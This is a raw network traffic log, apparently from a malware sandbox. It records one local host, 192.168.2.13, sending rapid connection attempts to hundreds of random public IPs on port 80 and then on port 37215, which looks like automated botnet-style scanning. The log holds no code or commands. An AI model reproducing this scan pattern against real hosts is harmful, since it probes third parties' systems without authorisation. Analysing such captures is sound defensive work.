Jan 5, 2025 14:34:58.016915083 CET	29477	80	192.168.2.13	169.192.33.152
Jan 5, 2025 14:34:58.016916037 CET	29477	80	192.168.2.13	211.167.86.133
Jan 5, 2025 14:34:58.016913891 CET	29477	80	192.168.2.13	115.121.37.181
Jan 5, 2025 14:34:58.016926050 CET	29477	80	192.168.2.13	119.43.20.131
Jan 5, 2025 14:34:58.016926050 CET	29477	80	192.168.2.13	151.3.101.129
Jan 5, 2025 14:34:58.016926050 CET	29477	80	192.168.2.13	145.113.13.18
Jan 5, 2025 14:34:58.016936064 CET	29477	80	192.168.2.13	145.205.9.113
Jan 5, 2025 14:34:58.016936064 CET	29477	80	192.168.2.13	126.208.92.94
Jan 5, 2025 14:34:58.016936064 CET	29477	80	192.168.2.13	122.80.82.213
Jan 5, 2025 14:34:58.016943932 CET	29477	80	192.168.2.13	208.177.159.82
Jan 5, 2025 14:34:58.016953945 CET	29477	80	192.168.2.13	71.41.187.41
Jan 5, 2025 14:34:58.016957998 CET	29477	80	192.168.2.13	64.101.6.54
Jan 5, 2025 14:34:58.016958952 CET	29477	80	192.168.2.13	137.97.188.31
Jan 5, 2025 14:34:58.016959906 CET	29477	80	192.168.2.13	180.11.172.220
Jan 5, 2025 14:34:58.016959906 CET	29477	80	192.168.2.13	201.187.246.95
Jan 5, 2025 14:34:58.016969919 CET	29477	80	192.168.2.13	8.90.52.36
Jan 5, 2025 14:34:58.016978979 CET	29477	80	192.168.2.13	169.201.47.119
Jan 5, 2025 14:34:58.016979933 CET	29477	80	192.168.2.13	189.89.205.84
Jan 5, 2025 14:34:58.016993046 CET	29477	80	192.168.2.13	173.77.117.16
Jan 5, 2025 14:34:58.016999960 CET	29477	80	192.168.2.13	41.61.48.232
Jan 5, 2025 14:34:58.016999960 CET	29477	80	192.168.2.13	78.55.99.35
Jan 5, 2025 14:34:58.016999960 CET	29477	80	192.168.2.13	50.252.48.17
Jan 5, 2025 14:34:58.017009020 CET	29477	80	192.168.2.13	31.151.76.186
Jan 5, 2025 14:34:58.017025948 CET	29477	80	192.168.2.13	192.183.172.81
Jan 5, 2025 14:34:58.017025948 CET	29477	80	192.168.2.13	208.241.10.86
Jan 5, 2025 14:34:58.017026901 CET	29477	80	192.168.2.13	179.118.121.219
Jan 5, 2025 14:34:58.017026901 CET	29477	80	192.168.2.13	177.19.191.112
Jan 5, 2025 14:34:58.017029047 CET	29477	80	192.168.2.13	9.24.45.174
Jan 5, 2025 14:34:58.017029047 CET	29477	80	192.168.2.13	135.214.246.148
Jan 5, 2025 14:34:58.017030954 CET	29477	80	192.168.2.13	135.253.151.232
Jan 5, 2025 14:34:58.017030954 CET	29477	80	192.168.2.13	47.191.153.72
Jan 5, 2025 14:34:58.017051935 CET	29477	80	192.168.2.13	129.190.49.150
Jan 5, 2025 14:34:58.017051935 CET	29477	80	192.168.2.13	183.217.98.197
Jan 5, 2025 14:34:58.017051935 CET	29477	80	192.168.2.13	58.83.127.233
Jan 5, 2025 14:34:58.017055988 CET	29477	80	192.168.2.13	93.233.15.220
Jan 5, 2025 14:34:58.017059088 CET	29477	80	192.168.2.13	75.137.245.156
Jan 5, 2025 14:34:58.017059088 CET	29477	80	192.168.2.13	51.161.218.97
Jan 5, 2025 14:34:58.017065048 CET	29477	80	192.168.2.13	173.180.118.132
Jan 5, 2025 14:34:58.017079115 CET	29477	80	192.168.2.13	186.41.238.49
Jan 5, 2025 14:34:58.017079115 CET	29477	80	192.168.2.13	143.82.89.119
Jan 5, 2025 14:34:58.017086983 CET	29477	80	192.168.2.13	194.41.162.60
Jan 5, 2025 14:34:58.017086983 CET	29477	80	192.168.2.13	220.157.204.20
Jan 5, 2025 14:34:58.017087936 CET	29477	80	192.168.2.13	185.220.55.83
Jan 5, 2025 14:34:58.017087936 CET	29477	80	192.168.2.13	201.145.53.28
Jan 5, 2025 14:34:58.017091990 CET	29477	80	192.168.2.13	206.216.208.78
Jan 5, 2025 14:34:58.017091990 CET	29477	80	192.168.2.13	1.104.216.209
Jan 5, 2025 14:34:58.017110109 CET	29477	80	192.168.2.13	62.85.2.31
Jan 5, 2025 14:34:58.017111063 CET	29477	80	192.168.2.13	24.240.115.173
Jan 5, 2025 14:34:58.017111063 CET	29477	80	192.168.2.13	211.250.251.152
Jan 5, 2025 14:34:58.017111063 CET	29477	80	192.168.2.13	61.209.239.244
Jan 5, 2025 14:34:58.017126083 CET	29477	80	192.168.2.13	129.169.225.228
Jan 5, 2025 14:34:58.017128944 CET	29477	80	192.168.2.13	58.57.181.225
Jan 5, 2025 14:34:58.017128944 CET	29477	80	192.168.2.13	189.130.151.221
Jan 5, 2025 14:34:58.017134905 CET	29477	80	192.168.2.13	217.105.148.224
Jan 5, 2025 14:34:58.017134905 CET	29477	80	192.168.2.13	17.241.83.154
Jan 5, 2025 14:34:58.017134905 CET	29477	80	192.168.2.13	116.207.62.18
Jan 5, 2025 14:34:58.017134905 CET	29477	80	192.168.2.13	189.58.102.19
Jan 5, 2025 14:34:58.017138958 CET	29477	80	192.168.2.13	47.138.113.218
Jan 5, 2025 14:34:58.017152071 CET	29477	80	192.168.2.13	17.238.120.199
Jan 5, 2025 14:34:58.017154932 CET	29477	80	192.168.2.13	180.148.218.142
Jan 5, 2025 14:34:58.017157078 CET	29477	80	192.168.2.13	23.181.12.230
Jan 5, 2025 14:34:58.017172098 CET	29477	80	192.168.2.13	46.53.7.37
Jan 5, 2025 14:34:58.017172098 CET	29477	80	192.168.2.13	62.155.47.207
Jan 5, 2025 14:34:58.017173052 CET	29477	80	192.168.2.13	37.144.155.85
Jan 5, 2025 14:34:58.017177105 CET	29477	80	192.168.2.13	202.81.0.155
Jan 5, 2025 14:34:58.017179966 CET	29477	80	192.168.2.13	82.31.166.4
Jan 5, 2025 14:34:58.017185926 CET	29477	80	192.168.2.13	220.5.93.155
Jan 5, 2025 14:34:58.017199039 CET	29477	80	192.168.2.13	159.19.90.42
Jan 5, 2025 14:34:58.017199039 CET	29477	80	192.168.2.13	61.18.152.190
Jan 5, 2025 14:34:58.017200947 CET	29477	80	192.168.2.13	61.85.179.204
Jan 5, 2025 14:34:58.017219067 CET	29477	80	192.168.2.13	191.254.175.147
Jan 5, 2025 14:34:58.017220020 CET	29477	80	192.168.2.13	211.234.145.112
Jan 5, 2025 14:34:58.017220974 CET	29477	80	192.168.2.13	39.249.123.150
Jan 5, 2025 14:34:58.017220020 CET	29477	80	192.168.2.13	2.5.173.127
Jan 5, 2025 14:34:58.017229080 CET	29477	80	192.168.2.13	195.25.232.7
Jan 5, 2025 14:34:58.017229080 CET	29477	80	192.168.2.13	49.211.206.198
Jan 5, 2025 14:34:58.017229080 CET	29477	80	192.168.2.13	17.38.44.229
Jan 5, 2025 14:34:58.017245054 CET	29477	80	192.168.2.13	63.28.172.142
Jan 5, 2025 14:34:58.017246008 CET	29477	80	192.168.2.13	98.48.56.56
Jan 5, 2025 14:34:58.017251968 CET	29477	80	192.168.2.13	217.33.10.242
Jan 5, 2025 14:34:58.017252922 CET	29477	80	192.168.2.13	136.94.203.99
Jan 5, 2025 14:34:58.017260075 CET	29477	80	192.168.2.13	107.252.10.84
Jan 5, 2025 14:34:58.017282963 CET	29477	80	192.168.2.13	194.61.83.18
Jan 5, 2025 14:34:58.017282963 CET	29477	80	192.168.2.13	182.124.60.102
Jan 5, 2025 14:34:58.020972967 CET	29477	80	192.168.2.13	223.167.120.155
Jan 5, 2025 14:34:58.021387100 CET	80	29477	149.218.144.175	192.168.2.13
Jan 5, 2025 14:34:58.021399975 CET	80	29477	203.215.253.118	192.168.2.13
Jan 5, 2025 14:34:58.021409035 CET	80	29477	107.209.39.169	192.168.2.13
Jan 5, 2025 14:34:58.021418095 CET	80	29477	59.179.62.232	192.168.2.13
Jan 5, 2025 14:34:58.021428108 CET	80	29477	134.175.115.219	192.168.2.13
Jan 5, 2025 14:34:58.021433115 CET	80	29477	151.142.20.255	192.168.2.13
Jan 5, 2025 14:34:58.021436930 CET	80	29477	126.164.100.191	192.168.2.13
Jan 5, 2025 14:34:58.021440983 CET	80	29477	4.72.184.235	192.168.2.13
Jan 5, 2025 14:34:58.021445036 CET	80	29477	162.220.2.172	192.168.2.13
Jan 5, 2025 14:34:58.021449089 CET	80	29477	20.206.193.222	192.168.2.13
Jan 5, 2025 14:34:58.021459103 CET	29477	80	192.168.2.13	149.218.144.175
Jan 5, 2025 14:34:58.021460056 CET	29477	80	192.168.2.13	107.209.39.169
Jan 5, 2025 14:34:58.021465063 CET	80	29477	36.182.43.185	192.168.2.13
Jan 5, 2025 14:34:58.021467924 CET	29477	80	192.168.2.13	203.215.253.118
Jan 5, 2025 14:34:58.021475077 CET	80	29477	157.6.177.246	192.168.2.13
Jan 5, 2025 14:34:58.021483898 CET	80	29477	88.190.147.173	192.168.2.13
Jan 5, 2025 14:34:58.021485090 CET	29477	80	192.168.2.13	59.179.62.232
Jan 5, 2025 14:34:58.021486998 CET	29477	80	192.168.2.13	20.206.193.222
Jan 5, 2025 14:34:58.021502972 CET	29477	80	192.168.2.13	4.72.184.235
Jan 5, 2025 14:34:58.021511078 CET	29477	80	192.168.2.13	157.6.177.246
Jan 5, 2025 14:34:58.021512032 CET	29477	80	192.168.2.13	162.220.2.172
Jan 5, 2025 14:34:58.021512985 CET	29477	80	192.168.2.13	36.182.43.185
Jan 5, 2025 14:34:58.021512985 CET	29477	80	192.168.2.13	88.190.147.173
Jan 5, 2025 14:34:58.021512985 CET	29477	80	192.168.2.13	134.175.115.219
Jan 5, 2025 14:34:58.021526098 CET	29477	80	192.168.2.13	151.142.20.255
Jan 5, 2025 14:34:58.021595001 CET	80	29477	9.9.137.157	192.168.2.13
Jan 5, 2025 14:34:58.021605015 CET	80	29477	120.217.143.184	192.168.2.13
Jan 5, 2025 14:34:58.021615028 CET	80	29477	143.71.140.71	192.168.2.13
Jan 5, 2025 14:34:58.021624088 CET	29477	80	192.168.2.13	126.164.100.191
Jan 5, 2025 14:34:58.021631956 CET	80	29477	79.116.248.55	192.168.2.13
Jan 5, 2025 14:34:58.021641970 CET	29477	80	192.168.2.13	120.217.143.184
Jan 5, 2025 14:34:58.021642923 CET	80	29477	139.140.9.190	192.168.2.13
Jan 5, 2025 14:34:58.021652937 CET	80	29477	38.199.147.182	192.168.2.13
Jan 5, 2025 14:34:58.021661997 CET	80	29477	205.239.229.243	192.168.2.13
Jan 5, 2025 14:34:58.021671057 CET	80	29477	163.142.15.188	192.168.2.13
Jan 5, 2025 14:34:58.021672010 CET	29477	80	192.168.2.13	79.116.248.55
Jan 5, 2025 14:34:58.021672010 CET	29477	80	192.168.2.13	139.140.9.190
Jan 5, 2025 14:34:58.021682024 CET	80	29477	219.70.242.147	192.168.2.13
Jan 5, 2025 14:34:58.021684885 CET	29477	80	192.168.2.13	9.9.137.157
Jan 5, 2025 14:34:58.021691084 CET	80	29477	98.203.60.63	192.168.2.13
Jan 5, 2025 14:34:58.021696091 CET	29477	80	192.168.2.13	143.71.140.71
Jan 5, 2025 14:34:58.021697998 CET	29477	80	192.168.2.13	38.199.147.182
Jan 5, 2025 14:34:58.021701097 CET	80	29477	181.50.53.2	192.168.2.13
Jan 5, 2025 14:34:58.021702051 CET	29477	80	192.168.2.13	205.239.229.243
Jan 5, 2025 14:34:58.021709919 CET	80	29477	204.141.229.132	192.168.2.13
Jan 5, 2025 14:34:58.021712065 CET	29477	80	192.168.2.13	163.142.15.188
Jan 5, 2025 14:34:58.021719933 CET	80	29477	213.11.144.146	192.168.2.13
Jan 5, 2025 14:34:58.021729946 CET	80	29477	187.77.75.60	192.168.2.13
Jan 5, 2025 14:34:58.021733999 CET	29477	80	192.168.2.13	219.70.242.147
Jan 5, 2025 14:34:58.021735907 CET	29477	80	192.168.2.13	98.203.60.63
Jan 5, 2025 14:34:58.021739960 CET	80	29477	198.249.217.20	192.168.2.13
Jan 5, 2025 14:34:58.021750927 CET	80	29477	109.146.34.96	192.168.2.13
Jan 5, 2025 14:34:58.021753073 CET	29477	80	192.168.2.13	181.50.53.2
Jan 5, 2025 14:34:58.021760941 CET	80	29477	112.186.58.119	192.168.2.13
Jan 5, 2025 14:34:58.021760941 CET	29477	80	192.168.2.13	213.11.144.146
Jan 5, 2025 14:34:58.021760941 CET	29477	80	192.168.2.13	204.141.229.132
Jan 5, 2025 14:34:58.021760941 CET	29477	80	192.168.2.13	187.77.75.60
Jan 5, 2025 14:34:58.021776915 CET	29477	80	192.168.2.13	198.249.217.20
Jan 5, 2025 14:34:58.025290012 CET	29477	80	192.168.2.13	109.146.34.96
Jan 5, 2025 14:34:58.025291920 CET	29477	80	192.168.2.13	112.186.58.119
Jan 5, 2025 14:34:58.032152891 CET	37328	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:58.032162905 CET	38934	37215	192.168.2.13	41.245.158.70
Jan 5, 2025 14:34:58.032162905 CET	56658	37215	192.168.2.13	156.156.184.103
Jan 5, 2025 14:34:58.032169104 CET	33134	37215	192.168.2.13	197.114.161.87
Jan 5, 2025 14:34:58.032169104 CET	56704	37215	192.168.2.13	156.135.244.57
Jan 5, 2025 14:34:58.032172918 CET	33778	37215	192.168.2.13	156.245.141.198
Jan 5, 2025 14:34:58.032176971 CET	42706	37215	192.168.2.13	197.37.180.192
Jan 5, 2025 14:34:58.032192945 CET	53800	37215	192.168.2.13	197.159.178.158
Jan 5, 2025 14:34:58.032198906 CET	36638	37215	192.168.2.13	156.241.244.77
Jan 5, 2025 14:34:58.036010027 CET	46554	80	192.168.2.13	130.175.77.211
Jan 5, 2025 14:34:58.036983013 CET	37215	37328	197.97.57.117	192.168.2.13
Jan 5, 2025 14:34:58.037050962 CET	37328	37215	192.168.2.13	197.97.57.117
Jan 5, 2025 14:34:58.037156105 CET	29479	37215	192.168.2.13	156.6.158.46
Jan 5, 2025 14:34:58.037158966 CET	29479	37215	192.168.2.13	41.31.196.191
Jan 5, 2025 14:34:58.037162066 CET	29479	37215	192.168.2.13	41.57.178.69
Jan 5, 2025 14:34:58.037166119 CET	29479	37215	192.168.2.13	41.219.177.199
Jan 5, 2025 14:34:58.037179947 CET	29479	37215	192.168.2.13	156.243.254.161
Jan 5, 2025 14:34:58.037180901 CET	29479	37215	192.168.2.13	41.38.77.174
Jan 5, 2025 14:34:58.037180901 CET	29479	37215	192.168.2.13	197.1.125.210
Jan 5, 2025 14:34:58.037182093 CET	29479	37215	192.168.2.13	41.44.150.3
Jan 5, 2025 14:34:58.037182093 CET	29479	37215	192.168.2.13	156.74.145.223
Jan 5, 2025 14:34:58.037184954 CET	29479	37215	192.168.2.13	197.236.4.196
Jan 5, 2025 14:34:58.037194014 CET	29479	37215	192.168.2.13	156.115.40.72
Jan 5, 2025 14:34:58.037194014 CET	29479	37215	192.168.2.13	156.111.129.209
Jan 5, 2025 14:34:58.037194014 CET	29479	37215	192.168.2.13	156.126.228.202
Jan 5, 2025 14:34:58.037204027 CET	29479	37215	192.168.2.13	156.170.139.72
Jan 5, 2025 14:34:58.037205935 CET	29479	37215	192.168.2.13	156.34.69.168
Jan 5, 2025 14:34:58.037209988 CET	29479	37215	192.168.2.13	156.237.19.166
Jan 5, 2025 14:34:58.037220001 CET	29479	37215	192.168.2.13	41.11.3.144
Jan 5, 2025 14:34:58.037224054 CET	29479	37215	192.168.2.13	197.56.135.68
Jan 5, 2025 14:34:58.037225962 CET	29479	37215	192.168.2.13	156.146.26.97
Jan 5, 2025 14:34:58.037223101 CET	29479	37215	192.168.2.13	156.44.166.246
Jan 5, 2025 14:34:58.037224054 CET	29479	37215	192.168.2.13	156.16.126.89
Jan 5, 2025 14:34:58.037231922 CET	29479	37215	192.168.2.13	41.246.122.133
Jan 5, 2025 14:34:58.037234068 CET	29479	37215	192.168.2.13	197.181.80.216
Jan 5, 2025 14:34:58.037239075 CET	29479	37215	192.168.2.13	197.117.124.124
Jan 5, 2025 14:34:58.037247896 CET	29479	37215	192.168.2.13	197.156.80.245
Jan 5, 2025 14:34:58.037256956 CET	29479	37215	192.168.2.13	156.203.122.121
Jan 5, 2025 14:34:58.037257910 CET	29479	37215	192.168.2.13	197.199.6.177
Jan 5, 2025 14:34:58.037261963 CET	29479	37215	192.168.2.13	41.40.214.30
Jan 5, 2025 14:34:58.037267923 CET	29479	37215	192.168.2.13	197.220.113.236
Jan 5, 2025 14:34:58.037271976 CET	29479	37215	192.168.2.13	156.231.86.83
Jan 5, 2025 14:34:58.037272930 CET	29479	37215	192.168.2.13	156.127.252.98
Jan 5, 2025 14:34:58.037272930 CET	29479	37215	192.168.2.13	41.170.44.236
Jan 5, 2025 14:34:58.037282944 CET	29479	37215	192.168.2.13	197.123.166.105
Jan 5, 2025 14:34:58.037285089 CET	29479	37215	192.168.2.13	41.62.160.248
Jan 5, 2025 14:34:58.037285089 CET	29479	37215	192.168.2.13	41.12.105.105
Jan 5, 2025 14:34:58.037285089 CET	29479	37215	192.168.2.13	197.139.75.241
Jan 5, 2025 14:34:58.037293911 CET	29479	37215	192.168.2.13	156.251.237.50
Jan 5, 2025 14:34:58.037301064 CET	29479	37215	192.168.2.13	197.14.131.186
Jan 5, 2025 14:34:58.037302017 CET	29479	37215	192.168.2.13	197.235.32.129
Jan 5, 2025 14:34:58.037302017 CET	29479	37215	192.168.2.13	197.116.174.157
Jan 5, 2025 14:34:58.037312984 CET	29479	37215	192.168.2.13	197.155.27.66
Jan 5, 2025 14:34:58.037312984 CET	29479	37215	192.168.2.13	156.247.22.28
Jan 5, 2025 14:34:58.037316084 CET	29479	37215	192.168.2.13	197.194.180.235
Jan 5, 2025 14:34:58.037316084 CET	29479	37215	192.168.2.13	41.152.31.85
Jan 5, 2025 14:34:58.037321091 CET	29479	37215	192.168.2.13	41.155.106.195
Jan 5, 2025 14:34:58.037322044 CET	29479	37215	192.168.2.13	197.52.200.0
Jan 5, 2025 14:34:58.037331104 CET	29479	37215	192.168.2.13	197.246.196.169
Jan 5, 2025 14:34:58.037331104 CET	29479	37215	192.168.2.13	41.232.152.27
Jan 5, 2025 14:34:58.037331104 CET	29479	37215	192.168.2.13	197.3.65.169
Jan 5, 2025 14:34:58.037333012 CET	29479	37215	192.168.2.13	156.112.113.20
Jan 5, 2025 14:34:58.037338972 CET	29479	37215	192.168.2.13	197.0.203.221
Jan 5, 2025 14:34:58.037343025 CET	29479	37215	192.168.2.13	41.229.24.104
Jan 5, 2025 14:34:58.037343025 CET	29479	37215	192.168.2.13	197.113.175.74
Jan 5, 2025 14:34:58.037343025 CET	29479	37215	192.168.2.13	156.45.220.252
Jan 5, 2025 14:34:58.037343979 CET	29479	37215	192.168.2.13	156.60.59.230
Jan 5, 2025 14:34:58.037345886 CET	29479	37215	192.168.2.13	197.67.135.9
Jan 5, 2025 14:34:58.037345886 CET	29479	37215	192.168.2.13	156.132.47.194
Jan 5, 2025 14:34:58.037352085 CET	29479	37215	192.168.2.13	197.2.207.43
Jan 5, 2025 14:34:58.037358046 CET	29479	37215	192.168.2.13	41.237.68.92
Jan 5, 2025 14:34:58.037359953 CET	29479	37215	192.168.2.13	156.199.162.56
Jan 5, 2025 14:34:58.037374973 CET	29479	37215	192.168.2.13	197.177.62.228
Jan 5, 2025 14:34:58.037374973 CET	29479	37215	192.168.2.13	41.78.255.152
Jan 5, 2025 14:34:58.037377119 CET	29479	37215	192.168.2.13	156.226.142.10
Jan 5, 2025 14:34:58.037377119 CET	29479	37215	192.168.2.13	197.83.196.215
Jan 5, 2025 14:34:58.037377119 CET	29479	37215	192.168.2.13	197.248.16.4
Jan 5, 2025 14:34:58.037408113 CET	29479	37215	192.168.2.13	156.37.1.244
Jan 5, 2025 14:34:58.037409067 CET	29479	37215	192.168.2.13	41.48.234.57
Jan 5, 2025 14:34:58.037409067 CET	29479	37215	192.168.2.13	41.113.4.221
Jan 5, 2025 14:34:58.037409067 CET	29479	37215	192.168.2.13	41.158.220.171
Jan 5, 2025 14:34:58.037409067 CET	29479	37215	192.168.2.13	41.173.165.248
Jan 5, 2025 14:34:58.037409067 CET	29479	37215	192.168.2.13	156.37.58.167
Jan 5, 2025 14:34:58.037409067 CET	29479	37215	192.168.2.13	156.22.115.137
Jan 5, 2025 14:34:58.037410975 CET	29479	37215	192.168.2.13	197.181.54.8
Jan 5, 2025 14:34:58.037410975 CET	29479	37215	192.168.2.13	197.231.23.206
Jan 5, 2025 14:34:58.037415981 CET	29479	37215	192.168.2.13	197.181.70.171
Jan 5, 2025 14:34:58.037421942 CET	29479	37215	192.168.2.13	197.158.96.51
Jan 5, 2025 14:34:58.037434101 CET	29479	37215	192.168.2.13	41.174.215.243
Jan 5, 2025 14:34:58.037434101 CET	29479	37215	192.168.2.13	156.189.194.27
Jan 5, 2025 14:34:58.037446022 CET	29479	37215	192.168.2.13	197.72.67.118
Jan 5, 2025 14:34:58.037447929 CET	29479	37215	192.168.2.13	41.181.151.238
Jan 5, 2025 14:34:58.037450075 CET	29479	37215	192.168.2.13	41.96.209.176
Jan 5, 2025 14:34:58.037450075 CET	29479	37215	192.168.2.13	41.182.156.115
Jan 5, 2025 14:34:58.037450075 CET	29479	37215	192.168.2.13	41.57.209.34
Jan 5, 2025 14:34:58.037455082 CET	29479	37215	192.168.2.13	197.185.69.173
Jan 5, 2025 14:34:58.037458897 CET	29479	37215	192.168.2.13	41.136.201.37
Jan 5, 2025 14:34:58.037461042 CET	29479	37215	192.168.2.13	156.212.91.4
Jan 5, 2025 14:34:58.037461996 CET	29479	37215	192.168.2.13	41.243.56.248
Jan 5, 2025 14:34:58.037462950 CET	29479	37215	192.168.2.13	197.151.135.87
Jan 5, 2025 14:34:58.037470102 CET	29479	37215	192.168.2.13	41.32.83.61
Jan 5, 2025 14:34:58.037471056 CET	29479	37215	192.168.2.13	156.143.169.88
Jan 5, 2025 14:34:58.037471056 CET	29479	37215	192.168.2.13	156.56.115.16
Jan 5, 2025 14:34:58.037471056 CET	29479	37215	192.168.2.13	41.86.118.17
Jan 5, 2025 14:34:58.037476063 CET	29479	37215	192.168.2.13	197.146.163.103
Jan 5, 2025 14:34:58.037477016 CET	29479	37215	192.168.2.13	156.241.231.56
Jan 5, 2025 14:34:58.037481070 CET	29479	37215	192.168.2.13	156.151.45.12
Jan 5, 2025 14:34:58.037482977 CET	29479	37215	192.168.2.13	197.50.52.44
Jan 5, 2025 14:34:58.037494898 CET	29479	37215	192.168.2.13	156.83.62.203
Jan 5, 2025 14:34:58.037494898 CET	29479	37215	192.168.2.13	156.191.215.53
Jan 5, 2025 14:34:58.037494898 CET	29479	37215	192.168.2.13	156.16.182.212
Jan 5, 2025 14:34:58.037497044 CET	29479	37215	192.168.2.13	156.187.98.62
Jan 5, 2025 14:34:58.037503958 CET	29479	37215	192.168.2.13	197.177.164.48
Jan 5, 2025 14:34:58.037511110 CET	29479	37215	192.168.2.13	197.77.64.151
Jan 5, 2025 14:34:58.037513018 CET	29479	37215	192.168.2.13	156.14.35.248
Jan 5, 2025 14:34:58.037513018 CET	29479	37215	192.168.2.13	197.205.114.41
Jan 5, 2025 14:34:58.037513018 CET	29479	37215	192.168.2.13	156.168.53.79
Jan 5, 2025 14:34:58.037513018 CET	29479	37215	192.168.2.13	197.224.114.110
Jan 5, 2025 14:34:58.037522078 CET	29479	37215	192.168.2.13	197.21.42.58
Jan 5, 2025 14:34:58.037523985 CET	29479	37215	192.168.2.13	197.225.186.85
Jan 5, 2025 14:34:58.037523985 CET	29479	37215	192.168.2.13	156.179.24.230
Jan 5, 2025 14:34:58.037528038 CET	29479	37215	192.168.2.13	197.122.61.225
Jan 5, 2025 14:34:58.037528038 CET	29479	37215	192.168.2.13	197.90.96.34
Jan 5, 2025 14:34:58.037529945 CET	29479	37215	192.168.2.13	156.197.191.142
Jan 5, 2025 14:34:58.037547112 CET	29479	37215	192.168.2.13	197.183.109.42
Jan 5, 2025 14:34:58.037547112 CET	29479	37215	192.168.2.13	197.1.196.218
Jan 5, 2025 14:34:58.037547112 CET	29479	37215	192.168.2.13	197.9.220.225
Jan 5, 2025 14:34:58.037547112 CET	29479	37215	192.168.2.13	41.168.13.77
Jan 5, 2025 14:34:58.037548065 CET	29479	37215	192.168.2.13	156.42.29.192
Jan 5, 2025 14:34:58.037548065 CET	29479	37215	192.168.2.13	197.241.85.228
Jan 5, 2025 14:34:58.037549019 CET	29479	37215	192.168.2.13	156.56.200.40
Jan 5, 2025 14:34:58.037558079 CET	29479	37215	192.168.2.13	41.174.34.68
Jan 5, 2025 14:34:58.037559032 CET	29479	37215	192.168.2.13	197.199.38.61
Jan 5, 2025 14:34:58.037563086 CET	29479	37215	192.168.2.13	197.133.1.35
Jan 5, 2025 14:34:58.037563086 CET	29479	37215	192.168.2.13	197.227.186.61
Jan 5, 2025 14:34:58.037570953 CET	29479	37215	192.168.2.13	197.126.16.54
Jan 5, 2025 14:34:58.037578106 CET	29479	37215	192.168.2.13	41.219.41.204
Jan 5, 2025 14:34:58.037585020 CET	29479	37215	192.168.2.13	41.244.172.153
Jan 5, 2025 14:34:58.037597895 CET	29479	37215	192.168.2.13	197.176.247.251
Jan 5, 2025 14:34:58.037597895 CET	29479	37215	192.168.2.13	156.20.188.132
Jan 5, 2025 14:34:58.037602901 CET	29479	37215	192.168.2.13	156.29.117.189
Jan 5, 2025 14:34:58.037617922 CET	29479	37215	192.168.2.13	41.47.37.124
Jan 5, 2025 14:34:58.037620068 CET	29479	37215	192.168.2.13	156.49.15.17
Jan 5, 2025 14:34:58.037621021 CET	29479	37215	192.168.2.13	156.22.57.45
Jan 5, 2025 14:34:58.037620068 CET	29479	37215	192.168.2.13	156.111.133.55
Jan 5, 2025 14:34:58.037621021 CET	29479	37215	192.168.2.13	41.204.24.4
Jan 5, 2025 14:34:58.037621021 CET	29479	37215	192.168.2.13	41.248.168.57
Jan 5, 2025 14:34:58.037622929 CET	29479	37215	192.168.2.13	41.63.141.146
Jan 5, 2025 14:34:58.037620068 CET	29479	37215	192.168.2.13	197.215.244.138
Jan 5, 2025 14:34:58.037621021 CET	29479	37215	192.168.2.13	197.48.113.75
Jan 5, 2025 14:34:58.037623882 CET	29479	37215	192.168.2.13	41.232.231.116
Jan 5, 2025 14:34:58.037620068 CET	29479	37215	192.168.2.13	41.102.77.225
Jan 5, 2025 14:34:58.037625074 CET	29479	37215	192.168.2.13	156.139.95.102
Jan 5, 2025 14:34:58.037625074 CET	29479	37215	192.168.2.13	41.163.127.25
Jan 5, 2025 14:34:58.037631989 CET	29479	37215	192.168.2.13	41.215.157.19
Jan 5, 2025 14:34:58.037631989 CET	29479	37215	192.168.2.13	197.186.88.150
Jan 5, 2025 14:34:58.037635088 CET	29479	37215	192.168.2.13	41.105.246.50
Jan 5, 2025 14:34:58.037635088 CET	29479	37215	192.168.2.13	41.255.123.100
Jan 5, 2025 14:34:58.037640095 CET	29479	37215	192.168.2.13	41.96.57.252
Jan 5, 2025 14:34:58.037640095 CET	29479	37215	192.168.2.13	41.99.230.97
Jan 5, 2025 14:34:58.037642002 CET	29479	37215	192.168.2.13	197.220.13.82
Jan 5, 2025 14:34:58.037642002 CET	29479	37215	192.168.2.13	197.224.21.247
Jan 5, 2025 14:34:58.037643909 CET	29479	37215	192.168.2.13	156.156.252.93
Jan 5, 2025 14:34:58.037643909 CET	29479	37215	192.168.2.13	197.251.47.177
Jan 5, 2025 14:34:58.037646055 CET	29479	37215	192.168.2.13	156.119.67.121
Jan 5, 2025 14:34:58.037646055 CET	29479	37215	192.168.2.13	197.55.183.49
Jan 5, 2025 14:34:58.037650108 CET	29479	37215	192.168.2.13	197.34.80.117
Jan 5, 2025 14:34:58.037650108 CET	29479	37215	192.168.2.13	156.51.32.55
Jan 5, 2025 14:34:58.037657022 CET	29479	37215	192.168.2.13	156.112.36.255
Jan 5, 2025 14:34:58.037657022 CET	29479	37215	192.168.2.13	197.204.41.128
Jan 5, 2025 14:34:58.037657022 CET	29479	37215	192.168.2.13	197.179.91.15
Jan 5, 2025 14:34:58.037658930 CET	29479	37215	192.168.2.13	197.100.187.188
Jan 5, 2025 14:34:58.037657022 CET	29479	37215	192.168.2.13	197.208.126.22
Jan 5, 2025 14:34:58.037661076 CET	29479	37215	192.168.2.13	41.185.243.88
Jan 5, 2025 14:34:58.037663937 CET	29479	37215	192.168.2.13	41.249.212.37
Jan 5, 2025 14:34:58.037672043 CET	29479	37215	192.168.2.13	41.170.158.194
Jan 5, 2025 14:34:58.037672043 CET	29479	37215	192.168.2.13	156.20.129.22
Jan 5, 2025 14:34:58.037672043 CET	29479	37215	192.168.2.13	156.32.37.18
Jan 5, 2025 14:34:58.037678957 CET	29479	37215	192.168.2.13	41.22.196.224
Jan 5, 2025 14:34:58.037683010 CET	29479	37215	192.168.2.13	41.129.77.233
Jan 5, 2025 14:34:58.037683010 CET	29479	37215	192.168.2.13	41.139.144.70
Jan 5, 2025 14:34:58.037683010 CET	29479	37215	192.168.2.13	156.204.141.228
Jan 5, 2025 14:34:58.037683010 CET	29479	37215	192.168.2.13	197.98.134.64
Jan 5, 2025 14:34:58.037683010 CET	29479	37215	192.168.2.13	41.53.154.93
Jan 5, 2025 14:34:58.037693024 CET	29479	37215	192.168.2.13	156.246.147.22
Jan 5, 2025 14:34:58.037693977 CET	29479	37215	192.168.2.13	156.82.174.160
Jan 5, 2025 14:34:58.037694931 CET	29479	37215	192.168.2.13	41.155.80.211
Jan 5, 2025 14:34:58.037694931 CET	29479	37215	192.168.2.13	41.1.172.205
Jan 5, 2025 14:34:58.037694931 CET	29479	37215	192.168.2.13	156.127.113.135
Jan 5, 2025 14:34:58.037694931 CET	29479	37215	192.168.2.13	197.106.121.239
Jan 5, 2025 14:34:58.037702084 CET	29479	37215	192.168.2.13	41.204.46.16
